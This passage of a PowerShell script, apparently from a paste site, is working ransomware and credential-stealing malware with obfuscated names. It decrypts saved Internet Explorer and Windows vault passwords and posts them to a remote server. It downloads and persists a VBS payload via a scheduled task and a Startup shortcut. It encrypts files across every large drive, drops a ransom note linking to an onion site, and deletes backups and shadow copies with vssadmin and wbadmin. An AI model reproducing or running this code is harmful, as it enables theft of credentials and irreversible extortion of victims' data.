  744.         $siteFolder = $_.GetFolder
  745.         $siteFolder.Items() | foreach {
  746.           $site = $_;
  747.           if ($site.IsFolder) {
  748.             $pageFolder  = $site.GetFolder;
  749.             $pageFolder.Items() | foreach {
  750.               $url = $($pageFolder.GetDetailsOf($_,0)) ;
  751.               $enc = [system.Text.Encoding]::UTF8;
  752.               $entropy= $enc.GetBytes($url);
  753.               $url16 = [System.Text.Encoding]::GetEncoding("UTF-16").GetBytes($url + "`0");
  754.               $sha1 = [System.Security.Cryptography.SHA1]::Create();
  755.               $hash = $sha1.ComputeHash($url16);
  756.               $hs = "" ; $cs = 0
  757.               $urlHASH = $($hash | %{ $hs += $_.ToString("x2") ; $cs += $_ }
  758.               ($hs + ($cs % 256).ToString("x2")).ToUpper())
  759.               $fromREG = $null;
  760.               $fromREG = $(Get-ItemProperty -PATH "HKCU:\Software\Microsoft\Internet Explorer\IntelliForms\Storage2" -Name $urlHASH -ErrorAction SilentlyContinue | Select-Object -ExpandProperty $urlHASH)    
  761.               if($fromREG -ne $null) {                                    
  762.                 try{ $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($fromREG, $url16, [System.Security.Cryptography.DataProtectionScope]::LocalMachine); }catch { Continue }
  763.                 $dwSize = [bitconverter]::ToInt32($Decrypt[0..3], 0)
  764.                 $dwSecretInfoSize = [bitconverter]::ToInt32($Decrypt[4..7], 0)
  765.                 $dwSecretSize = [bitconverter]::ToInt32($Decrypt[8..11], 0)
  766.                 $dwTotalSecrets = [bitconverter]::ToInt32($Decrypt[20..23], 0) / 2
  767.                 if($fromREG.Length -ge ($dwSize + $dwSecretInfoSize +$dwSercertSize)){
  768.                   $url = ([System.Uri]$url).Host    
  769.                   if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }
  770.                   $allCreds = ([System.Text.Encoding]::Default.GetString($Decrypt[($Decrypt.Length - $dwSecretSize)..($Decrypt.Length)]) -split "\x00\x00") -replace "\x00", "";
  771.                   for($i = 0; $i -lt $dwTotalSecrets; $i++ ) {
  772.                     $user = $allCreds[$i]
  773.                     $pwd = $allCreds[$i + 1]
  774.                     $ieInfo[$url] += @{ [string]$user = [string]$pwd };
  775.                   }                                            
  776.                 }
  777.               }
  778.             }
  779.           }
  780.         }
  781.       }
  782.     }
  783.      
  784.     if(([int32]([string][System.Environment]::OSVersion.Version.Major + [string][System.Environment]::OSVersion.Version.Minor)) -ge 62) {
  785.       [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];
  786.       $vault = New-Object Windows.Security.Credentials.PasswordVault;
  787.       $allCreds = $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }
  788.       foreach($cred in $allCreds) {
  789.         $url = ([System.Uri]$cred.Resource).Host
  790.         if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }
  791.         $ieInfo[$url] += @{ [string]$cred.UserName = [string]$cred.Password }
  792.       }
  793.     }
  794.  
  795.   return @{"logs" = "$global:log"; "error" = $ieError; "info" = $ieInfo}    
  796.   }catch{
  797.     hcxcdjsy "crederror=ERR:ie_dump: $($_.Exception.Message)";
  798.   }
  799. }
  800.  
  801. $ffInfo = ""
  802. $ieInfo = ""
  803. $olInfo = ""
  804. $chromeInfo = ""
  805.  
  806. $allInfo = @{"logs" = "$global:log"; "error" = "SUCCESS"; "info" = @{}}    
  807.  
  808. mergeInfo $olInfo $allInfo
  809. mergeInfo $chromeInfo $allInfo
  810. mergeInfo $ieInfo $allInfo
  811. mergeInfo $ffInfo $allInfo
  812.  
  813. Add-Type -AssemblyName System.Web.Extensions;
  814. $ps_js = new-object system.web.script.serialization.javascriptSerializer;
  815.  
  816.   try{
  817.     $sendInfo = @{};
  818.     $allInfo["info"].GetEnumerator() | %{
  819.       $host1 = ([string]$_.key).toLower();
  820.       if( $host1 -ne "empty" ){
  821.         $sendInfo[ $host1 ] = @();
  822.         foreach($value in $_.value ) {
  823.           $sendInfo[ $host1 ] += @{ [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( [string]($value.Keys) ) ) = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( [string]($value.Values) ) ) };
  824.         }
  825.       }
  826.     }
  827.     try{ hcxcdjsy ("cred=" +  [uri]::EscapeDataString( $ps_js.Serialize($sendInfo) ) ); }catch{}
  828.     try{ hcxcdjsy ("crederror=" + $allInfo["error"]); }catch{}
  829.   }catch{}
  830. }
  831.  
  832. function izdheicaz(){
  833.   try{
  834.     $mPaths = @("$env:SystemDrive\Program Files\Mozilla Firefox", "$env:SystemDrive\Program Files\Mozilla Thunderbird", "$env:SystemDrive\Program Files (x86)\Mozilla Firefox", "$env:SystemDrive\Program Files (x86)\Mozilla Thunderbird")    
  835.     $mozillaPath = $null
  836.     foreach($path in $mPaths) {
  837.       $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll'))
  838.       if([System.IO.File]::Exists($nssPath)) {
  839.         $mozillaPath = $path;
  840.         break;
  841.       }
  842.     }
  843.     if($mozillaPath -eq $null) {
  844.       $result = $stillerBlock.Invoke();
  845.     }else{
  846.       $dll = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll'))
  847.       $is86dll = (Get-ExecutableType -Path $dll) -eq 32
  848.       $is86 = [IntPtr]::Size -eq 4
  849.       $result = $null;
  850.       if($is86dll -and $is86) {
  851.         $result = $stillerBlock.Invoke();
  852.       }elseif(-Not($is86dll) -and -Not($is86)) {
  853.         $result = $stillerBlock.Invoke();
  854.       }elseif($is86dll -and -Not($is86)) {
  855.         Start-Job -RunAs32 -ScriptBlock $stillerBlock | Out-Null
  856.         $result = (Get-Job | Wait-Job | Receive-Job)
  857.       }elseif(-Not($is86dll) -and $is86) {
  858.         $result = $stillerBlock.Invoke();
  859.       }          
  860.     }
  861.     return $result;
  862.   }catch{
  863.     hcxcdjsy "crederror=ERR:chooseArch: $($_.Exception.Message)";
  864.   }
  865. }
  866. 'hcxcdjsy "crederror=start chooseArch";
  867.  
  868. izdheicaz
  869. '
  870.  
  871. function ubdfwix(){
  872.   $hbwxxfy = $env:PUBLIC + "\Libraries"
  873.   if (-not (Test-Path $hbwxxfy)) { md $hbwxxfy; }
  874.   $ceuzebhjfs = $hbwxxfy + "\WindowsIndexingService.vbs";
  875.   $wtfajijg = New-Object System.Net.WebClient;
  876.   $wtfajijg.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  877.   try{
  878.     $vwtwhsi = Join-Path $hbwxxfy ( get-random -minimum 100 -maximum 999999 ) ;
  879.     $wtfajijg.DownloadString("http://vodo.vodootherapy.com/?need=aegzfej&vid=ln2&") | out-file $vwtwhsi;
  880.     Start-Sleep -s 5;
  881.     if( ( test-path -path $vwtwhsi ) -and ( ( (Get-Item $vwtwhsi).length/1KB) -gt 5 ) ){
  882.       Move-Item $vwtwhsi -destination $ceuzebhjfs -Force;
  883.       $iwjbsdawyc = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 12 /du 23:59 /TR $ceuzebhjfs);
  884.       try{
  885.         $dtzavisig = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
  886.         if( -not ( Test-Path $dtzavisig ) ){
  887.           $tbguxxzu = New-Object -ComObject ('WScript.Shell');
  888.           $whfwxawa = $tbguxxzu.CreateShortcut( $dtzavisig  );
  889.           $whfwxawa.TargetPath = $ceuzebhjfs;
  890.           $whfwxawa.WorkingDirectory = $hbwxxfy;
  891.           $whfwxawa.WindowStyle = 1;
  892.           $whfwxawa.Description = 'Windows Application Service';
  893.           $whfwxawa.Save();
  894.         }
  895.       }catch{};
  896.     }
  897.   }catch{}
  898. };
  899. function zwhujicxeu( $tuvgatgfj ){
  900.   $wtfajijg = New-Object System.Net.WebClient;
  901.   $wtfajijg.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  902.   $wtfajijg.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  903.   $wtfajijg.Encoding = [System.Text.Encoding]::UTF8;
  904.   try{
  905.     $euccazfiyi = $wtfajijg.UploadString( "http://grat.thegratitudelistproject.com/", ("ver=1018.1&vid=ln2&" + $tuvgatgfj) );
  906.     if( $euccazfiyi -eq "ok" ){ return $true; }
  907.   }catch{};
  908.   return $false;
  909. };
  910. function cuftfxih( $idacjzu ){
  911.   try { Start-Process -WindowStyle Hidden -FilePath "$env:comspec" -ArgumentList "/c $idacjzu" ; }catch{}
  912. };
  913. function ihucjja($tteccsetye, $vyuscgjgwy, $dxzseiwd, $uiiubsw ){
  914.   $zyajievu = new-Object System.Security.Cryptography.RijndaelManaged;  
  915.   $yszaffzv = [Text.Encoding]::UTF8.GetBytes($vyuscgjgwy);
  916.   $dxzseiwd = [Text.Encoding]::UTF8.GetBytes($dxzseiwd);
  917.   $zyajievu.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $yszaffzv, $dxzseiwd, "SHA1", 5).GetBytes(32);
  918.   $zyajievu.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($uiiubsw) )[0..15];
  919.   $zyajievu.Padding="Zeros";
  920.   $zyajievu.Mode="CBC";
  921.   $sxtyxfwea = $zyajievu.CreateEncryptor();
  922.   $avjgdgfceb = new-Object IO.MemoryStream;
  923.   $aeiyjhgc = new-Object Security.Cryptography.CryptoStream $avjgdgfceb,$sxtyxfwea,"Write";
  924.   $aeiyjhgc.Write($tteccsetye, 0,$tteccsetye.Length);
  925.   $aeiyjhgc.Close();
  926.   $avjgdgfceb.Close();
  927.   $zyajievu.Clear();
  928.   return $avjgdgfceb.ToArray();
  929. }
  930. function yuhchhfjg{
  931.   [Reflection.Assembly]::LoadWithPartialName('System.Security');
  932.   '$hbwxxfy = $env:PUBLIC + "\OracleKit";
  933.  if (-not (Test-Path $hbwxxfy)) { md $hbwxxfy; }
  934.  $aaftsiixd = $env:temp + "\quanto00.tmp";
  935.  if ( Test-Path $aaftsiixd ){
  936.    if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $aaftsiixd ).CreationTime) -End (Get-Date)).Minutes ) -gt 30 ){
  937.      sc -Path $aaftsiixd -Value $(Get-Date);
  938.    }else{
  939.      exit;
  940.    };
  941.  };
  942.  $iscszcjgi = $hbwxxfy + "\w00log03.tmp";
  943.  if ( Test-Path $iscszcjgi ){
  944.    $ugabfyx = [string](get-content $iscszcjgi);
  945.    if( $ugabfyx.length -ne 36 ){
  946.      $ugabfyx=[string][guid]::NewGuid();
  947.      sc -Path $iscszcjgi -Value $ugabfyx -Force;
  948.    }
  949.  }else{
  950.    $ugabfyx=[string][guid]::NewGuid();
  951.    sc -Path $iscszcjgi -Value $ugabfyx -Force;
  952.  }
  953.  gi $iscszcjgi -Force |  %{ $_.Attributes = "Hidden" };
  954.  $igyusbdhef = ([string][guid]::NewGuid()).Substring(0,6);'
  955.   $jiacsfz = (get-random -count 50 -input (48..57 + 65..90 + 97..122) | foreach-object -begin { $pass = $null } -process {$pass += [char]$_} -end {$pass});
  956.  
  957.   $dxzseiwd="BXCODE hack your system";
  958.   $uiiubsw="BXCODE INIT";
  959.   $all = $jiacsfz + ";" + $dxzseiwd  + ";" + $uiiubsw;
  960.   [byte[]]$tbvthbevvg = [system.Text.Encoding]::Unicode.GetBytes( $jiacsfz );
  961.   [byte[]]$xaadidji = [system.Text.Encoding]::Unicode.GetBytes( $dxzseiwd  + ";" + $uiiubsw );
  962.   $uchzbjuz = New-Object System.Security.Cryptography.RSACryptoServiceProvider(1024);
  963.   $uchzbjuz.ImportCspBlob( [system.Convert]::FromBase64String( 'BgIAAACkAABSU0ExAAQAAAEAAQD11Onrt4plHuT75QS2+sC7J05SPYBQkrmT6FbgHLdw7GyJeZzO8yJRiXXIaHy5FGa9XviwqfBowCs7r6zmvHjfjFbN4YjeRIWsSU5JoEcl8j/H1KZJ7VQfqgSo+u0HfDB8nVcWgPOlaNA4VF+PU2p9x8pwa5xb7bR6grkRLG7Unw==' ) );
  964.   $awutcvu = [system.Convert]::ToBase64String( $uchzbjuz.Encrypt($tbvthbevvg , $false) );
  965.   $eexcctzv = [system.Convert]::ToBase64String( $uchzbjuz.Encrypt($xaadidji , $false) );
  966.  
  967.   '$udteguud = zwhujicxeu ("guid=$ugabfyx&ext=$igyusbdhef&ek=$jiacsfz&r1=" + ( [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( $awutcvu +";" + $eexcctzv ) ) ) ) +"&");
  968.  
  969.  if( $udteguud ){
  970.    sc -Path $aaftsiixd -Value $(Get-Date);
  971.  }else{
  972.    ri -Path $aaftsiixd -Force;
  973.    exit;
  974.  }
  975.  '
  976.   $ugabfyx = "d6fcb97c-6676-4abe-9bb2-e6b9937f2e5f"
  977.   $zbwcsagveh = 'PGgxPkFsbCB5b3VyIGZpbGVzIHdhcyBlbmNyeXB0ZWQhPC9oMT4NCiAgPGgyICBzdHlsZT0nY29sb3I6cmVkJz48Yj5ZZXMsIFlvdSBjYW4gRGVjcnlwdCBGaWxlcyBFbmNyeXB0ZWQhISE8L2I+PC9oMj4NCiAgPHA+WW91ciBwZXJzb25hbCBJRDogPGI+JWd1aWQlPC9iPjwvcD4NCiAgPHA+MS4gRG93bmxvYWQgVG9yIGJyb3dzZXIgLSA8YSBocmVmPSdodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy9kb3dubG9hZC8nPmh0dHBzOi8vd3d3LnRvcnByb2plY3Qub3JnL2Rvd25sb2FkLzwvYT48L3A+DQogIDxwPjIuIEluc3RhbGwgVG9yIGJyb3dzZXI8L3A+DQogIDxwPjMuIE9wZW4gVG9yIEJyb3dzZXI8L3A+DQogIDxwPjQuIE9wZW4gbGluayBpbiBUT1IgYnJvd3NlcjogIDxiPmh0dHA6Ly9xdm81c2Q3cDV5YXp3YnJnaW9reTdyZHU0dnNseHJjYWVydWhqcjd6dG4zdDJwaWhwNTZld2xxZC5vbmlvbi8/Z3VpZD0lZ3VpZCU8L2I+PC9wPg0KICA8cD41LiBGb2xsb3cgdGhlIGluc3RydWN0aW9ucyBvbiB0aGlzIHBhZ2U8L3A+DQogIDxoMj4qKioqKiBXYXJuaW5nKioqKio8L2gyPg0KICA8cD5EbyBub3QgcmVuYW1lIGZpbGVzPC9wPg0KICA8cD5EbyBub3QgdHJ5IHRvIGJhY2sgeW91ciBkYXRhIHVzaW5nIHRoaXJkLXBhcnR5IHNvZnR3YXJlLCBpdCBtYXkgY2F1c2UgcGVybWFuZW50IGRhdGEgbG9zcyhJZiB5b3UgZG8gbm90IGJlbGlldmUgdXMsIGFuZCBzdGlsbCB0cnkgdG8gLSBtYWtlIGNvcGllcyBvZiBhbGwgZmlsZXMgc28gdGhhdCB3ZSBjYW4gaGVscCB5b3UgaWYgdGhpcmQtcGFydHkgcw0Kb2Z0d2FyZSBoYXJtcyB0aGVtKTwvcD4NCiAgPHA+QXMgZXZpZGVuY2UsIHdlIGNhbiBmb3IgZnJlZSBiYWNrIG9uZSBmaWxlPC9wPg0KICA8cD5EZWNvZGVycyBvZiBvdGhlciB1c2VycyBpcyBub3Qgc3VpdGFibGUgdG8gYmFjayB5b3VyIGZpbGVzIC0gZW5jcnlwdGlvbiBrZXkgaXMgY3JlYXRlZCBvbiB5b3VyIGNvbXB1dGVyIHdoZW4gdGhlIHByb2dyYW0gaXMgbGF1bmNoZWQgLSBpdCBpcyB1bmlxdWUuPC9wPg0KICA=';
  978.   $zbwcsagveh = ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $zbwcsagveh ) ) -replace "%guid%", $ugabfyx );
  979.   $iiyghcgj = 0;
  980.   zwhujicxeu ("guid=$ugabfyx&status=start" );
  981.   $fifbfsdg = "windows|temp|Recycle|intel|OEM|Program Files|ProgramData";
  982.   $wjtsjhwx = Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;
  983.   foreach($tzufvxb in $wjtsjhwx){
  984.     try {
  985.       gci $tzufvxb.root -Recurse -Include "*.sql","*.mp4","*.7z","*.rar","*.m4a","*.wma","*.avi","*.wmv","*.csv","*.d3dbsp","*.zip","*.sie","*.sum","*.ibank","*.t13","*.t12","*.qdf","*.gdb","*.tax","*.pkpass","*.bc6","*.bc7","*.bkp","*.qic","*.bkf","*.sidn","*.sidd","*.mddata","*.itl","*.itdb","*.icxs","*.hvpl","*.hplg","*.hkdb","*.mdbackup","*.syncdb","*.gho","*.cas","*.svg","*.map","*.wmo","*.itm","*.sb","*.fos","*.mov","*.vdf","*.ztmp","*.sis","*.sid","*.ncf","*.menu","*.layout","*.dmp","*.blob","*.esm","*.vcf","*.vtf","*.dazip","*.fpk","*.mlx","*.kf","*.iwd","*.vpk","*.tor","*.psk","*.rim","*.w3x","*.fsh","*.ntl","*.arch00","*.lvl","*.snx","*.cfr","*.ff","*.vpp_pc","*.lrf","*.m2","*.mcmeta","*.vfs0","*.mpqge","*.kdb","*.db0","*.dba","*.rofl","*.hkx","*.bar","*.upk","*.das","*.iwi","*.litemod","*.asset","*.forge","*.ltx","*.bsa","*.apk","*.re4","*.sav","*.lbf","*.slm","*.bik","*.epk","*.rgss3a","*.pak","*.big","*wallet","*.wotreplay","*.xxx","*.desc","*.py","*.m3u","*.flv","*.js","*.css","*.rb","*.png","*.jpeg","*.txt","*.p7c","*.p7b","*.p12","*.pfx","*.pem","*.crt","*.cer","*.der","*.x3f","*.srw","*.pef","*.ptx","*.r3d","*.rw2","*.rwl","*.raw","*.raf","*.orf","*.nrw","*.mrwref","*.mef","*.erf","*.kdc","*.dcr","*.cr2","*.crw","*.bay","*.sr2","*.srf","*.arw","*.3fr","*.dng","*.jpe","*.jpg","*.cdr","*.indd","*.ai","*.eps","*.pdf","*.pdd","*.psd","*.dbf","*.mdf","*.wb2","*.rtf","*.wpd","*.dxg","*.xf","*.dwg","*.pst","*.accdb","*.mdb","*.pptm","*.pptx","*.ppt","*.xlk","*.xlsb","*.xlsm","*.xlsx","*.xls","*.wps","*.docm","*.docx","*.doc","*.odb","*.odc","*.odm","*.odp","*.ods","*.odt" -ErrorAction SilentlyContinue | %{
  986.         try {
  987.           if( $_.length -ne 0 ){
  988.             $sdaivgecab=[io.file]::Open($_, 'Open', 'ReadWrite');
  989.             if ($sdaivgecab.Length -lt "40960"){
  990.               $yvatxjiw=$sdaivgecab.Length
  991.             }else{
  992.               $yvatxjiw="40960"
  993.             }
  994.             [byte[]]$cgujiaus = new-object byte[] $yvatxjiw;
  995.             $dzyfgidcg = $sdaivgecab.Read($cgujiaus, 0, $cgujiaus.Length);
  996.             $sdaivgecab.Position='0';
  997.             $jwczzzcsw = ihucjja $cgujiaus $jiacsfz $dxzseiwd $uiiubsw ;
  998.             $sdaivgecab.Write($jwczzzcsw, 0, $jwczzzcsw.Length);
  999.             $sdaivgecab.Close();
  1000.             $zjfyibuxbg = $_.Name+".$igyusbdhef";
  1001.             try{ ren -Path $($_.FullName) -NewName $zjfyibuxbg -Force; }catch{}
  1002.             $uyjttxawib = $($_.DirectoryName  + "\READ_ME_NOW.htm") ;
  1003.             if(!(Test-Path $uyjttxawib)){
  1004.               try{ sc -Path $uyjttxawib -Value $zbwcsagveh -Force; }catch{}
  1005.               try{ sc -Path $aaftsiixd -Value $(Get-Date) -Force; }catch{}
  1006.             }
  1007.             $iiyghcgj++;
  1008.           }
  1009.         }catch{}
  1010.       }
  1011.     }catch{}
  1012.   }
  1013.   'zwhujicxeu ("guid=$ugabfyx&status=done&res=" + $iiyghcgj );'
  1014.   cuftfxih('bcdedit /set vihyxsgvsc bootstatuspolicy ignoreallfailures');
  1015.   cuftfxih('bcdedit /set vihyxsgvsc recoveryenabled no');
  1016.   cuftfxih('wbadmin delete catalog -quiet');
  1017.   cuftfxih('wbadmin delete systemstatebackup');
  1018.   cuftfxih('wbadmin delete backup');
  1019.   cuftfxih('vssadmin delete shadows /all /quiet');
  1020. }
  1021. ubdfwix;
  1022. yuhchhfjg;
Add Comment
Please, Sign In to add comment